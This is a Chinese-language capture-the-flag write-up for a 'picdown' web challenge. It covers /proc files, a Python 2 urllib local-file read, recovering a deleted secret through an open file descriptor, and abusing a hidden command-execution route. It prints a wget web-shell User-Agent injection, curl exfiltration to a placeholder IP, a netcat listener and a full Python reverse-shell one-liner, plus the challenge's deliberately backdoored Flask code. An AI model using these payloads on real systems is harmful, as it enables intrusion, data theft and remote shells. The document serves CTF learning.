前提知识
- urllib
1. import urllib 2. url="/etc/passwd" 3. res = urllib.urlopen(url) 4. print(res.read())
python2的
urllib的urlopen,和urllib2中的urlopen明显区别就是urllib.urlopen支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件
如图
这里和python3进行对比
- 包含environ
恶意代码注入到/proc/self/environ
?page=../../../../../proc/self/environ
User-Agent如下:
<?system('wget shell-url -O shell.php');?>
- proc目录
proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
还有的是一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link
进程中的部分文件
- cmdline
cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
- cwd
cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录
- exe
exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径
- environ
environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息
- fd
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容
查看指定进程打开的某个文件的内容。加上那个数字即可,在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容
- self
/proc/self表示当前进程目录
解题过程
信息收集
看到标题(picdown)picture download?
抓包看请求+查看前端源码+代码泄露扫描=并没有发现有用信息
输入任意信息
抓包/page?url=a;且url发生变化,此时我们输入一个url网址,发现下载了一个jpg文件,内容是前端响应源码
猜测是文件读取题目?用php伪协议读取下本地文件
file:///etc/passwd
没有效果
多次尝试读取文件的方法,最后发现直接输入路径即可(这里印证了可能是python2的urllib的urlopen)
我们读取下当前进程的启动命令
python2 app.py(貌似是熟悉的flask框架?)
读取下环境变量
PWD=/app
很清晰了,当前环境在/app/app.py
读取该文件,果然是flask框架
1. from flask import Flask, Response 2. from flask import render_template 3. from flask import request 4. import os 5. import urllib 6. 7. app = Flask(__name__) 8. 9. SECRET_FILE = "/tmp/secret.txt" 10. f = open(SECRET_FILE) 11. SECRET_KEY = f.read().strip() 12. os.remove(SECRET_FILE) 13. 14. 15. @app.route('/') 16. def index(): 17. return render_template('search.html') 18. 19. 20. @app.route('/page') 21. def page(): 22. url = request.args.get("url") 23. try: 24. if not url.lower().startswith("file"): 25. res = urllib.urlopen(url) 26. value = res.read() 27. response = Response(value, mimetype='application/octet-stream') 28. response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' 29. return response 30. else: 31. value = "HACK ERROR!" 32. except: 33. value = "SOMETHING WRONG!" 34. return render_template('search.html', res=value) 35. 36. 37. @app.route('/no_one_know_the_manager') 38. def manager(): 39. key = request.args.get("key") 40. print(SECRET_KEY) 41. if key == SECRET_KEY: 42. shell = request.args.get("shell") 43. os.system(shell) 44. res = "ok" 45. else: 46. res = "Wrong Key!" 47. 48. return res 49. 50. 51. if __name__ == '__main__': 52. app.run(host='0.0.0.0', port=8080)
至此,信息收集完毕,进入思路分析阶段
思路分析
- 代码审计
这里把SECRET_FILE读取完后就删除了,我们需要利用的路由是/no_one_know_the_manager
直接路由no_one_know_the_manager返回Wrong Key!
我们必须拿到SECRET_KEY
注意关于
SECRET_KEY的逻辑,虽然该文件在打开读取后被删除了,但是注意这个文件没有关闭,所以仍然可以通过/proc/self/fd/[num]访问对应文件(此处[num]代表一个未知的数值,需要从0开始遍历找出),这里在/page?url=/proc/self/fd/3找到。
/R9uNNZkORZl8m0kJFYolnFS10EpC3+GPQ/y3EtDIlQ=
命令执行外带
这里使用命令外带的方式读取执行结果
vps监听端口
nc -lvp 6666
no_one_know_the_manager?key=/R9uNNZkORZl8m0kJFYolnFS10EpC3+GPQ/y3EtDIlQ=&shell=curl ip:端口/`ls /|base64`
这里需要将key和shell的内容进行url编码
解码发现/flag
1. app 2. bin 3. boot 4. dev 5. etc 6. flag 7. flag.sh 8. home 9. lib 10. lib64 11. media 12. mn
最后外带一个cat flag
解码获得flag
这里还可以反弹shell
/no_one_know_the_mnager?key=/R9uNNZkORZl8m0kJFYolnFS10EpC3+GPQ/y3EtDIlQ=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'











